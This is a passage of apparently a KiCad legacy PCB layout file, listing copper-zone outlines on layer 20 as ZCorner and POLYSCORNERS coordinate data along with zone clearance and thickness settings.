24838 0 0\n56696 24928 0 0\n56708 24936 0 0\n56718 24951 0 0\n56727 24966 0 0\n56737 24980 0 0\n56747 24995 0 0\n56758 24995 0 0\n56765 25008 0 0\n56779 25036 0 0\n56786 25049 0 0\n56800 25074 0 0\n56812 25111 0 0\n56823 25161 0 0\n56833 25225 0 0\n56837 25277 0 0\n56840 25329 0 0\n56844 25380 0 0\n56848 25432 0 0\n56850 25702 0 0\n56851 25836 0 0\n56852 25971 0 0\n56842 26083 0 0\n56837 26138 0 0\n56832 26194 0 0\n56822 26235 0 0\n56800 26317 0 0\n56790 26358 0 0\n56766 26403 0 0\n56744 26438 0 0\n56723 26463 0 0\n56704 26475 0 0\n56692 26493 0 0\n56688 26498 0 0\n56667 26510 0 0\n56661 26514 0 0\n56641 26534 0 0\n56620 26544 0 0\n56598 26555 0 0\n56577 26566 0 0\n56555 26577 0 0\n56438 26621 0 0\n56285 26635 0 0\n56285 26939 0 0\n56458 26936 0 0\n56468 26954 0 0\n56477 26973 0 0\n56487 26991 0 0\n56497 27010 0 0\n56161 27322 0 0\n56215 27399 0 0\n56260 27459 0 0\n56294 27503 0 0\n56317 27533 0 0\n56415 27468 0 0\n56513 27402 0 0\n56610 27337 0 0\n56708 27272 0 0\n56794 27358 0 0\n56837 27400 0 0\n56879 27443 0 0\n56880 27444 0 0\n56882 27445 0 0\n56884 27447 0 0\n56876 27443 0 0\n56812 27541 0 0\n56749 27639 0 0\n56685 27736 0 0\n56622 27834 0 0\n56688 27887 0 0\n56745 27930 0 0\n56793 27962 0 0\n56833 27982 0 0\n57149 27654 0 0\n57198 27684 0 0\n57247 27713 0 0\n57295 27742 0 0\n57344 27771 0 0\n57288 27933 0 0\n57243 28062 0 0\n57209 28159 0 0\n57188 28224 0 0\n57248 28246 0 0\n57279 28257 0 0\n57309 28267 0 0\n57374 28299 0 0\n57416 28317 0 0\n57437 28322 0 0\n57438 28314 0 0\n57494 28214 0 0\n57608 28012 0 0\n57664 27912 0 0\n57681 27917 0 0\n57681 26635 0 0\n57503 26620 0 0\n57289 26576 0 0\n57174 26500 0 0\n57087 26411 0 0\n57028 26309 0 0\n56996 26194 0 0\n56991 26109 0 0\n56987 26024 0 0\n56977 25854 0 0\n57481 25854 0 0\n57481 25994 0 0\n57489 25998 0 0\n57481 26014 0 0\n57481 26092 0 0\n57489 26092 0 0\n57481 26100 0 0\n57483 26115 0 0\n57485 26129 0 0\n57487 26144 0 0\n57489 26158 0 0\n57492 26158 0 0\n57491 26160 0 0\n57491 26162 0 0\n57489 26166 0 0\n57491 26200 0 0\n57491 26216 0 0\n57492 26233 0 0\n57496 26245 0 0\n57498 26250 0 0\n57500 26256 0 0\n57516 26288 0 0\n57518 26289 0 0\n57524 26295 0 0\n57542 26298 0 0\n57561 26301 0 0\n57579 26304 0 0\n57598 26307 0 0\n57609 26298 0 0\n57619 26289 0 0\n57630 26281 0 0\n57641 26272 0 0\n57647 26252 0 0\n57653 26233 0 0\n57658 26213 0 0\n57664 26194 0 0\n57664 25186 0 0\n57662 25168 0 0\n57660 25149 0 0\n57658 25131 0 0\n57657 25112 0 0\n57643 25098 0 0\n57636 25092 0 0\n57629 25085 0 0\n57555 25085 0 0\n57545 25098 0 0\n57536 25112 0 0\n57526 25125 0 0\n57516 25139 0 0\n57516 25166 0 0\n57515 25242 0 0\n57512 25467 0 0\n56985 25467 0 0\n56981 25449 0 0\n56979 25441 0 0\n56977 25432 0 0\n56983 25367 0 0\n56995 25239 0 0\n57001 25174 0 0\n57010 25143 0 0\n57020 25112 0 0\n57030 25080 0 0\n57040 25049 0 0\n57122 24928 0 0\n57232 24837 0 0\n57372 24778 0 0\n57539 24748 0 0\n57752 24759 0 0\n57929 24812 0 0\n58070 24909 0 0\n58176 25049 0 0\n58186 25081 0 0\n58195 25114 0 0\n58215 25178 0 0\n58221 25608 0 0\n58224 25822 0 0\n58227 26037 0 0\n58209 26154 0 0\n58203 26194 0 0\n58173 26321 0 0\n58118 26427 0 0\n58037 26513 0 0\n57930 26576 0 0\n57824 26620 0 0\n57681 26635 0 0\n57681 27917 0 0\n57719 27929 0 0\n57774 27947 0 0\n57828 27965 0 0\n57883 27982 0 0\n57872 28099 0 0\n57862 28216 0 0\n57851 28334 0 0\n57840 28451 0 0\n57905 28461 0 0\n57969 28472 0 0\n58034 28483 0 0\n58098 28494 0 0\n58130 28382 0 0\n58162 28269 0 0\n58195 28157 0 0\n58227 28045 0 0\n58284 28048 0 0\n58342 28050 0 0\n58400 28053 0 0\n58457 28056 0 0\n58474 28172 0 0\n58490 28289 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660001 0 \"\"\nZLayer 20\nZAux 45 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56180 25085 0\nZCorner 56192 25084 0\nZCorner 56204 25083 0\nZCorner 56216 25082 0\nZCorner 56227 25081 0\nZCorner 56235 25085 0\nZCorner 56243 25089 0\nZCorner 56251 25093 0\nZCorner 56259 25096 0\nZCorner 56262 25109 0\nZCorner 56264 25122 0\nZCorner 56267 25135 0\nZCorner 56270 25147 0\nZCorner 56271 25409 0\nZCorner 56272 25671 0\nZCorner 56273 25932 0\nZCorner 56274 26194 0\nZCorner 56270 26215 0\nZCorner 56267 26237 0\nZCorner 56263 26258 0\nZCorner 56259 26280 0\nZCorner 56249 26287 0\nZCorner 56239 26294 0\nZCorner 56229 26300 0\nZCorner 56220 26307 0\nZCorner 56210 26305 0\nZCorner 56200 26303 0\nZCorner 56190 26301 0\nZCorner 56181 26299 0\nZCorner 56174 26294 0\nZCorner 56167 26288 0\nZCorner 56160 26282 0\nZCorner 56153 26276 0\nZCorner 56150 26255 0\nZCorner 56148 26235 0\nZCorner 56145 26214 0\nZCorner 56142 26194 0\nZCorner 56143 25927 0\nZCorner 56144 25661 0\nZCorner 56145 25394 0\nZCorner 56145 25128 0\nZCorner 56154 25117 0\nZCorner 56163 25106 0\nZCorner 56172 25096 0\nZCorner 56180 25085 1\n$POLYSCORNERS\n56220 26307 0 0\n56229 26300 0 0\n56239 26294 0 0\n56259 26280 0 0\n56263 26258 0 0\n56267 26237 0 0\n56270 26215 0 0\n56274 26194 0 0\n56273 25932 0 0\n56272 25671 0 0\n56270 25147 0 0\n56267 25135 0 0\n56264 25122 0 0\n56262 25109 0 0\n56259 25096 0 0\n56251 25093 0 0\n56227 25081 0 0\n56216 25082 0 0\n56180 25085 0 0\n56172 25096 0 0\n56163 25106 0 0\n56145 25128 0 0\n56145 25394 0 0\n56144 25661 0 0\n56143 25927 0 0\n56142 26194 0 0\n56145 26214 0 0\n56148 26235 0 0\n56150 26255 0 0\n56153 26276 0 0\n56174 26294 0 0\n56181 26299 0 0\n56190 26301 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660002 0 \"\"\nZLayer 20\nZAux 53 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 61386 25174 0\nZCorner 61389 25158 0\nZCorner 61392 25141 0\nZCorner 61395 25125 0\nZCorner 61398 25108 0\nZCorner 61405 25101 0\nZCorner 61412 25094 0\nZCorner 61418 25088 0\nZCorner 61425 25081 0\nZCorner 61439 25084 0\nZCorner 61453 25087 0\nZCorner 61466 25090 0\nZCorner 61480 25093 0\nZCorner 61486 25105 0\nZCorner 61492 25118 0\nZCorner 61497 25131 0\nZCorner 61503 25143 0\nZCorner 61504 25406 0\nZCorner 61505 25669 0\nZCorner 61506 25931 0\nZCorner 61507 26194 0\nZCorner 61504 26212 0\nZCorner 61501 26231 0\nZCorner 61498 26249 0\nZCorner 61495 26268 0\nZCorner 61491 26276 0\nZCorner 61486 26284 0\nZCorner 61481 26292 0\nZCorner 61476 26299 0\nZCorner 61467 26301 0\nZCorner 61458 26303 0\nZCorner 61449 26305 0\nZCorner 61441 26307 0\nZCorner 61433 26304 0\nZCorner 61425 26301 0\nZCorner 61417 26298 0\nZCorner 61409 26295 0\nZCorner 61406 26290 0\nZCorner 61404 26284 0\nZCorner 61401 26278 0\nZCorner 61398 26272 0\nZCorner 61395 26253 0\nZCorner 61392 26233 0\nZCorner 61389 26213 0\nZCorner 61386 26194 0\nZCorner 61386 25939 0\nZCorner 61386 25684 0\nZCorner 61386 25429 0\nZCorner 61386 25174 0\nZCorner 61386 25174 0\nZCorner 61386 25174 0\nZCorner 61386 25174 0\nZCorner 61386 25174 1\n$POLYSCORNERS\n61441 26307 0 0\n61449 26305 0 0\n61476 26299 0 0\n61481 26292 0 0\n61491 26276 0 0\n61495 26268 0 0\n61498 26249 0 0\n61501 26231 0 0\n61504 26212 0 0\n61507 26194 0 0\n61506 25931 0 0\n61505 25669 0 0\n61503 25143 0 0\n61497 25131 0 0\n61492 25118 0 0\n61486 25105 0 0\n61480 25093 0 0\n61466 25090 0 0\n61453 25087 0 0\n61425 25081 0 0\n61398 25108 0 0\n61395 25125 0 0\n61392 25141 0 0\n61389 25158 0 0\n61386 25174 0 0\n61386 26194 0 0\n61389 26213 0 0\n61395 26253 0 0\n61398 26272 0 0\n61404 26284 0 0\n61406 26290 0 0\n61409 26295 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660003 0 \"\"\nZLayer 20\nZAux 49 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 59953 25159 0\nZCorner 59957 25143 0\nZCorner 59961 25128 0\nZCorner 59965 25112 0\nZCorner 59969 25096 0\nZCorner 59974 25092 0\nZCorner 59980 25088 0\nZCorner 59986 25085 0\nZCorner 59992 25081 0\nZCorner 60044 25070 0\nZCorner 60077 25125 0\nZCorner 60093 25245 0\nZCorner 60090 25432 0\nZCorner 60090 25622 0\nZCorner 60090 25813 0\nZCorner 60090 26003 0\nZCorner 60090 26194 0\nZCorner 60086 26213 0\nZCorner 60082 26233 0\nZCorner 60078 26252 0\nZCorner 60074 26272 0\nZCorner 60069 26278 0\nZCorner 60064 26285 0\nZCorner 60059 26292 0\nZCorner 60054 26299 0\nZCorner 60042 26301 0\nZCorner 60029 26303 0\nZCorner 60016 26305 0\nZCorner 60004 26307 0\nZCorner 59999 26307 0\nZCorner 59994 26307 0\nZCorner 59989 26307 0\nZCorner 59984 26307 0\nZCorner 59978 26300 0\nZCorner 59972 26293 0\nZCorner 59967 26286 0\nZCorner 59961 26280 0\nZCorner 59959 26258 0\nZCorner 59957 26237 0\nZCorner 59955 26215 0\nZCorner 59953 26194 0\nZCorner 59953 25935 0\nZCorner 59953 25676 0\nZCorner 59953 25418 0\nZCorner 59953 25159 0\nZCorner 59953 25159 0\nZCorner 59953 25159 0\nZCorner 59953 25159 0\nZCorner 59953 25159 1\n$POLYSCORNERS\n60004 26307 0 0\n60016 26305 0 0\n60042 26301 0 0\n60054 26299 0 0\n60069 26278 0 0\n60074 26272 0 0\n60078 26252 0 0\n60082 26233 0 0\n60086 26213 0 0\n60090 26194 0 0\n60090 25432 0 0\n60093 25245 0 0\n60077 25125 0 0\n60044 25070 0 0\n59992 25081 0 0\n59986 25085 0 0\n59980 25088 0 0\n59974 25092 0 0\n59969 25096 0 0\n59961 25128 0 0\n59957 25143 0 0\n59953 25159 0 0\n59953 26194 0 0\n59955 26215 0 0\n59957 26237 0 0\n59959 26258 0 0\n59961 26280 0 0\n59967 26286 0 0\n59972 26293 0 0\n59984 26307 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660004 0 \"\"\nZLayer 20\nZAux 41 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56606 22603 0\nZCorner 56612 22598 0\nZCorner 56618 22593 0\nZCorner 56624 22589 0\nZCorner 56630 22584 0\nZCorner 56670 22596 0\nZCorner 56708 22604 0\nZCorner 56746 22606 0\nZCorner 56786 22603 0\nZCorner 56789 22603 0\nZCorner 56792 22603 0\nZCorner 56795 22603 0\nZCorner 56798 22603 0\nZCorner 56802 22613 0\nZCorner 56806 22623 0\nZCorner 56809 22632 0\nZCorner 56813 22642 0\nZCorner 56786 22643 0\nZCorner 56759 22644 0\nZCorner 56731 22645 0\nZCorner 56704 22646 0\nZCorner 56708 22652 0\nZCorner 56712 22658 0\nZCorner 56716 22664 0\nZCorner 56720 22670 0\nZCorner 56720 22671 0\nZCorner 56720 22672 0\nZCorner 56720 22673 0\nZCorner 56720 22673 0\nZCorner 56755 22731 0\nZCorner 56790 22789 0\nZCorner 56825 22846 0\nZCorner 56860 22904 0\nZCorner 56851 22910 0\nZCorner 56841 22916 0\nZCorner 56831 22921 0\nZCorner 56821 22927 0\nZCorner 56768 22846 0\nZCorner 56714 22765 0\nZCorner 56660 22684 0\nZCorner 56606 22603 1\n$POLYSCORNERS\n56821 22927 0 0\n56831 22921 0 0\n56841 22916 0 0\n56851 22910 0 0\n56860 22904 0 0\n56825 22846 0 0\n56790 22789 0 0\n56720 22673 0 0\n56720 22670 0 0\n56704 22646 0 0\n56731 22645 0 0\n56759 22644 0 0\n56813 22642 0 0\n56809 22632 0 0\n56806 22623 0 0\n56798 22603 0 0\n56786 22603 0 0\n56746 22606 0 0\n56708 22604 0 0\n56670 22596 0 0\n56630 22584 0 0\n56624 22589 0 0\n56618 22593 0 0\n56606 22603 0 0\n56768 22846 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660005 0 \"\"\nZLayer 20\nZAux 50 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56665 22931 0\nZCorner 56665 22932 0\nZCorner 56665 22933 0\nZCorner 56665 22934 0\nZCorner 56665 22935 0\nZCorner 56667 22940 0\nZCorner 56669 22945 0\nZCorner 56671 22950 0\nZCorner 56673 22955 0\nZCorner 56642 23043 0\nZCorner 56594 23090 0\nZCorner 56530 23095 0\nZCorner 56450 23060 0\nZCorner 56373 22972 0\nZCorner 56334 22893 0\nZCorner 56333 22825 0\nZCorner 56372 22767 0\nZCorner 56452 22734 0\nZCorner 56527 22750 0\nZCorner 56599 22816 0\nZCorner 56665 22931 1\nZCorner 56384 22826 0\nZCorner 56384 22837 0\nZCorner 56384 22847 0\nZCorner 56384 22858 0\nZCorner 56384 22869 0\nZCorner 56387 22875 0\nZCorner 56390 22880 0\nZCorner 56393 22886 0\nZCorner 56395 22892 0\nZCorner 56450 22976 0\nZCorner 56500 23030 0\nZCorner 56548 23052 0\nZCorner 56591 23044 0\nZCorner 56618 23000 0\nZCorner 56617 22948 0\nZCorner 56587 22888 0\nZCorner 56528 22822 0\nZCorner 56515 22811 0\nZCorner 56501 22800 0\nZCorner 56487 22790 0\nZCorner 56473 22779 0\nZCorner 56460 22780 0\nZCorner 56446 22781 0\nZCorner 56433 22782 0\nZCorner 56419 22783 0\nZCorner 56410 22794 0\nZCorner 56401 22804 0\nZCorner 56393 22815 0\nZCorner 56384 22826 1\n$POLYSCORNERS\n56530 23095 0 0\n56548 23093 0 0\n56548 23052 0 0\n56500 23030 0 0\n56450 22976 0 0\n56395 22892 0 0\n56393 22886 0 0\n56390 22880 0 0\n56387 22875 0 0\n56384 22869 0 0\n56384 22826 0 0\n56393 22815 0 0\n56401 22804 0 0\n56410 22794 0 0\n56419 22783 0 0\n56433 22782 0 0\n56446 22781 0 0\n56460 22780 0 0\n56473 22779 0 0\n56487 22790 0 0\n56501 22800 0 0\n56515 22811 0 0\n56528 22822 0 0\n56587 22888 0 0\n56617 22948 0 0\n56618 23000 0 0\n56591 23044 0 0\n56548 23052 0 0\n56548 23093 0 0\n56594 23090 0 0\n56642 23043 0 0\n56673 22955 0 0\n56665 22935 0 0\n56665 22931 0 0\n56599 22816 0 0\n56527 22750 0 0\n56452 22734 0 0\n56372 22767 0 0\n56333 22825 0 0\n56334 22893 0 0\n56373 22972 0 0\n56450 23060 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660006 0 \"\"\nZLayer 20\nZAux 70 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56966 22720 0\nZCorner 56898 22599 0\nZCorner 56878 22504 0\nZCorner 56904 22436 0\nZCorner 56977 22396 0\nZCorner 57057 22404 0\nZCorner 57119 22452 0\nZCorner 57165 22539 0\nZCorner 57196 22666 0\nZCorner 57191 22678 0\nZCorner 57186 22689 0\nZCorner 57181 22701 0\nZCorner 57177 22713 0\nZCorner 57171 22720 0\nZCorner 57165 22728 0\nZCorner 57159 22736 0\nZCorner 57153 22744 0\nZCorner 57140 22750 0\nZCorner 57128 22756 0\nZCorner 57115 22761 0\nZCorner 57102 22767 0\nZCorner 57088 22767 0\nZCorner 57073 22767 0\nZCorner 57058 22767 0\nZCorner 57044 22767 0\nZCorner 57037 22765 0\nZCorner 57030 22763 0\nZCorner 57023 22761 0\nZCorner 57017 22759 0\nZCorner 57004 22750 0\nZCorner 56991 22740 0\nZCorner 56979 22730 0\nZCorner 56966 22720 1\nZCorner 56935 22486 0\nZCorner 56936 22498 0\nZCorner 56937 22510 0\nZCorner 56937 22521 0\nZCorner 56938 22533 0\nZCorner 56973 22629 0\nZCorner 57011 22694 0\nZCorner 57052 22727 0\nZCorner 57095 22728 0\nZCorner 57105 22719 0\nZCorner 57116 22711 0\nZCorner 57127 22702 0\nZCorner 57138 22693 0\nZCorner 57139 22678 0\nZCorner 57139 22662 0\nZCorner 57140 22646 0\nZCorner 57141 22631 0\nZCorner 57127 22597 0\nZCorner 57112 22564 0\nZCorner 57098 22531 0\nZCorner 57083 22498 0\nZCorner 57074 22486 0\nZCorner 57065 22474 0\nZCorner 57057 22463 0\nZCorner 57048 22451 0\nZCorner 57035 22446 0\nZCorner 57022 22441 0\nZCorner 57010 22436 0\nZCorner 56997 22431 0\nZCorner 56986 22437 0\nZCorner 56976 22443 0\nZCorner 56965 22449 0\nZCorner 56954 22455 0\nZCorner 56949 22463 0\nZCorner 56944 22470 0\nZCorner 56939 22478 0\nZCorner 56935 22486 1\n$POLYSCORNERS\n57102 22767 0 0\n57115 22761 0 0\n57128 22756 0 0\n57140 22750 0 0\n57153 22744 0 0\n57171 22720 0 0\n57177 22713 0 0\n57181 22701 0 0\n57186 22689 0 0\n57191 22678 0 0\n57196 22666 0 0\n57165 22539 0 0\n57119 22452 0 0\n57057 22404 0 0\n56977 22396 0 0\n56904 22436 0 0\n56878 22504 0 0\n56898 22599 0 0\n56966 22720 0 0\n56979 22730 0 0\n56991 22740 0 0\n57004 22750 0 0\n57017 22759 0 0\n57023 22761 0 0\n57044 22767 0 0\n57095 22767 0 0\n57095 22728 0 0\n57052 22727 0 0\n57011 22694 0 0\n56973 22629 0 0\n56938 22533 0 0\n56937 22521 0 0\n56937 22510 0 0\n56935 22486 0 0\n56939 22478 0 0\n56944 22470 0 0\n56949 22463 0 0\n56954 22455 0 0\n56976 22443 0 0\n56986 22437 0 0\n56997 22431 0 0\n57010 22436 0 0\n57022 22441 0 0\n57048 22451 0 0\n57057 22463 0 0\n57065 22474 0 0\n57083 22498 0 0\n57098 22531 0 0\n57112 22564 0 0\n57127 22597 0 0\n57141 22631 0 0\n57140 22646 0 0\n57139 22662 0 0\n57139 22678 0 0\n57138 22693 0 0\n57116 22711 0 0\n57105 22719 0 0\n57095 22728 0 0\n57095 22767 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660007 0 \"\"\nZLayer 20\nZAux 66 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56431 23134 0\nZCorner 56431 23138 0\nZCorner 56431 23142 0\nZCorner 56431 23146 0\nZCorner 56431 23150 0\nZCorner 56406 23238 0\nZCorner 56361 23285 0\nZCorner 56298 23292 0\nZCorner 56216 23259 0\nZCorner 56128 23177 0\nZCorner 56087 23098 0\nZCorner 56093 23024 0\nZCorner 56145 22955 0\nZCorner 56213 22933 0\nZCorner 56282 22955 0\nZCorner 56354 23022 0\nZCorner 56431 23134 1\nZCorner 56247 22998 0\nZCorner 56237 22994 0\nZCorner 56228 22990 0\nZCorner 56218 22986 0\nZCorner 56208 22982 0\nZCorner 56196 22985 0\nZCorner 56185 22988 0\nZCorner 56173 22991 0\nZCorner 56161 22994 0\nZCorner 56154 23005 0\nZCorner 56148 23015 0\nZCorner 56141 23026 0\nZCorner 56134 23037 0\nZCorner 56135 23049 0\nZCorner 56136 23062 0\nZCorner 56137 23075 0\nZCorner 56138 23087 0\nZCorner 56143 23092 0\nZCorner 56148 23097 0\nZCorner 56153 23102 0\nZCorner 56157 23107 0\nZCorner 56162 23116 0\nZCorner 56167 23125 0\nZCorner 56172 23133 0\nZCorner 56177 23142 0\nZCorner 56178 23144 0\nZCorner 56179 23146 0\nZCorner 56180 23148 0\nZCorner 56181 23150 0\nZCorner 56243 23211 0\nZCorner 56296 23243 0\nZCorner 56340 23245 0\nZCorner 56376 23216 0\nZCorner 56378 23204 0\nZCorner 56380 23191 0\nZCorner 56382 23178 0\nZCorner 56384 23166 0\nZCorner 56381 23157 0\nZCorner 56378 23148 0\nZCorner 56375 23139 0\nZCorner 56372 23131 0\nZCorner 56351 23105 0\nZCorner 56329 23080 0\nZCorner 56308 23054 0\nZCorner 56286 23029 0\nZCorner 56276 23021 0\nZCorner 56267 23013 0\nZCorner 56257 23006 0\nZCorner 56247 22998 1\n$POLYSCORNERS\n56298 23292 0 0\n56340 23287 0 0\n56340 23245 0 0\n56296 23243 0 0\n56243 23211 0 0\n56181 23150 0 0\n56177 23142 0 0\n56172 23133 0 0\n56167 23125 0 0\n56157 23107 0 0\n56153 23102 0 0\n56138 23087 0 0\n56137 23075 0 0\n56135 23049 0 0\n56134 23037 0 0\n56148 23015 0 0\n56154 23005 0 0\n56161 22994 0 0\n56185 22988 0 0\n56196 22985 0 0\n56208 22982 0 0\n56228 22990 0 0\n56237 22994 0 0\n56247 22998 0 0\n56257 23006 0 0\n56267 23013 0 0\n56276 23021 0 0\n56286 23029 0 0\n56308 23054 0 0\n56329 23080 0 0\n56351 23105 0 0\n56372 23131 0 0\n56375 23139 0 0\n56384 23166 0 0\n56382 23178 0 0\n56378 23204 0 0\n56376 23216 0 0\n56340 23245 0 0\n56340 23287 0 0\n56361 23285 0 0\n56406 23238 0 0\n56431 23150 0 0\n56431 23134 0 0\n56354 23022 0 0\n56282 22955 0 0\n56213 22933 0 0\n56145 22955 0 0\n56093 23024 0 0\n56087 23098 0 0\n56128 23177 0 0\n56216 23259 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660008 0 \"\"\nZLayer 20\nZAux 98 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56411 28203 0\nZCorner 56408 28206 0\nZCorner 56405 28209 0\nZCorner 56403 28212 0\nZCorner 56400 28215 0\nZCorner 56399 28216 0\nZCorner 56398 28217 0\nZCorner 56397 28218 0\nZCorner 56396 28219 0\nZCorner 56320 28309 0\nZCorner 56247 28356 0\nZCorner 56176 28359 0\nZCorner 56107 28317 0\nZCorner 56083 28242 0\nZCorner 56093 28170 0\nZCorner 56139 28101 0\nZCorner 56220 28036 0\nZCorner 56222 28034 0\nZCorner 56224 28032 0\nZCorner 56226 28030 0\nZCorner 56228 28028 0\nZCorner 56295 28004 0\nZCorner 56351 28010 0\nZCorner 56397 28044 0\nZCorner 56431 28106 0\nZCorner 56429 28122 0\nZCorner 56427 28139 0\nZCorner 56425 28156 0\nZCorner 56423 28172 0\nZCorner 56422 28174 0\nZCorner 56421 28176 0\nZCorner 56420 28178 0\nZCorner 56419 28180 0\nZCorner 56419 28180 0\nZCorner 56419 28180 0\nZCorner 56419 28180 0\nZCorner 56419 28180 0\nZCorner 56417 28186 0\nZCorner 56415 28192 0\nZCorner 56413 28198 0\nZCorner 56411 28203 1\nZCorner 56177 28157 0\nZCorner 56175 28158 0\nZCorner 56173 28159 0\nZCorner 56171 28160 0\nZCorner 56169 28161 0\nZCorner 56169 28163 0\nZCorner 56169 28165 0\nZCorner 56169 28167 0\nZCorner 56169 28169 0\nZCorner 56167 28170 0\nZCorner 56165 28172 0\nZCorner 56163 28174 0\nZCorner 56161 28176 0\nZCorner 56159 28179 0\nZCorner 56157 28182 0\nZCorner 56155 28185 0\nZCorner 56153 28188 0\nZCorner 56146 28199 0\nZCorner 56140 28209 0\nZCorner 56133 28220 0\nZCorner 56126 28231 0\nZCorner 56126 28237 0\nZCorner 56126 28243 0\nZCorner 56126 28249 0\nZCorner 56126 28254 0\nZCorner 56132 28265 0\nZCorner 56138 28276 0\nZCorner 56144 28287 0\nZCorner 56150 28297 0\nZCorner 56164 28302 0\nZCorner 56179 28307 0\nZCorner 56193 28312 0\nZCorner 56208 28317 0\nZCorner 56214 28316 0\nZCorner 56220 28315 0\nZCorner 56226 28314 0\nZCorner 56231 28313 0\nZCorner 56244 28302 0\nZCorner 56257 28292 0\nZCorner 56269 28281 0\nZCorner 56282 28270 0\nZCorner 56356 28184 0\nZCorner 56383 28118 0\nZCorner 56365 28072 0\nZCorner 56302 28048 0\nZCorner 56291 28052 0\nZCorner 56280 28057 0\nZCorner 56270 28062 0\nZCorner 56259 28067 0\nZCorner 56248 28077 0\nZCorner 56237 28087 0\nZCorner 56227 28096 0\nZCorner 56216 28106 0\nZCorner 56206 28119 0\nZCorner 56196 28132 0\nZCorner 56187 28144 0\nZCorner 56177 28157 1\n$POLYSCORNERS\n56176 28359 0 0\n56208 28357 0 0\n56208 28317 0 0\n56193 28312 0 0\n56179 28307 0 0\n56164 28302 0 0\n56150 28297 0 0\n56144 28287 0 0\n56126 28254 0 0\n56126 28231 0 0\n56140 28209 0 0\n56146 28199 0 0\n56153 28188 0 0\n56161 28176 0 0\n56167 28170 0 0\n56169 28169 0 0\n56169 28161 0 0\n56177 28157 0 0\n56187 28144 0 0\n56196 28132 0 0\n56216 28106 0 0\n56227 28096 0 0\n56237 28087 0 0\n56259 28067 0 0\n56270 28062 0 0\n56280 28057 0 0\n56291 28052 0 0\n56302 28048 0 0\n56365 28072 0 0\n56383 28118 0 0\n56356 28184 0 0\n56282 28270 0 0\n56269 28281 0 0\n56257 28292 0 0\n56244 28302 0 0\n56231 28313 0 0\n56226 28314 0 0\n56208 28317 0 0\n56208 28357 0 0\n56247 28356 0 0\n56320 28309 0 0\n56396 28219 0 0\n56403 28212 0 0\n56405 28209 0 0\n56411 28203 0 0\n56413 28198 0 0\n56419 28180 0 0\n56423 28172 0 0\n56425 28156 0 0\n56429 28122 0 0\n56431 28106 0 0\n56397 28044 0 0\n56351 28010 0 0\n56295 28004 0 0\n56228 28028 0 0\n56220 28036 0 0\n56139 28101 0 0\n56093 28170 0 0\n56083 28242 0 0\n56107 28317 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E660009 0 \"\"\nZLayer 20\nZAux 37 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56442 28461 0\nZCorner 56444 28457 0\nZCorner 56446 28454 0\nZCorner 56448 28450 0\nZCorner 56450 28446 0\nZCorner 56491 28393 0\nZCorner 56532 28340 0\nZCorner 56573 28288 0\nZCorner 56614 28235 0\nZCorner 56625 28242 0\nZCorner 56636 28249 0\nZCorner 56646 28255 0\nZCorner 56657 28262 0\nZCorner 56601 28340 0\nZCorner 56544 28418 0\nZCorner 56488 28497 0\nZCorner 56431 28575 0\nZCorner 56422 28570 0\nZCorner 56413 28565 0\nZCorner 56404 28560 0\nZCorner 56396 28555 0\nZCorner 56396 28513 0\nZCorner 56390 28474 0\nZCorner 56378 28438 0\nZCorner 56360 28407 0\nZCorner 56368 28397 0\nZCorner 56376 28387 0\nZCorner 56384 28377 0\nZCorner 56392 28368 0\nZCorner 56402 28390 0\nZCorner 56411 28413 0\nZCorner 56421 28435 0\nZCorner 56431 28457 0\nZCorner 56434 28458 0\nZCorner 56437 28459 0\nZCorner 56439 28460 0\nZCorner 56442 28461 1\n$POLYSCORNERS\n56431 28575 0 0\n56488 28497 0 0\n56544 28418 0 0\n56601 28340 0 0\n56657 28262 0 0\n56646 28255 0 0\n56636 28249 0 0\n56614 28235 0 0\n56573 28288 0 0\n56532 28340 0 0\n56450 28446 0 0\n56446 28454 0 0\n56444 28457 0 0\n56442 28461 0 0\n56439 28460 0 0\n56437 28459 0 0\n56431 28457 0 0\n56411 28413 0 0\n56402 28390 0 0\n56392 28368 0 0\n56384 28377 0 0\n56360 28407 0 0\n56378 28438 0 0\n56390 28474 0 0\n56396 28513 0 0\n56396 28555 0 0\n56404 28560 1 0\n$endPOLYSCORNERS\n$endCZONE_OUTLINE\n$CZONE_OUTLINE\nZInfo 4E66000A 0 \"\"\nZLayer 20\nZAux 49 E\nZClearance 80 T\nZMinThickness 60\nZOptions 0 16 F 200 200\nZSmoothing 0 0\nZCorner 56860 28403 0\nZCorner 56871 28409 0\nZCorner 56882 28415 0\nZCorner 56893 28420 0\nZCorner 56903 28426 0\nZCorner 56855 28507 0\nZCorner 56808 28588 0\nZCorner 56760 28669 0\nZCorner 56712 28750 0\nZCorner 56710 28752 0\nZCorner 56708 28754 0\nZCorner 56706 28756 0\nZCorner 56704 28758 0\nZCorner 56696 28755 0\nZCorner 56689 28752 0\nZCorner 56681 28749 0\nZCorner 56673 28747 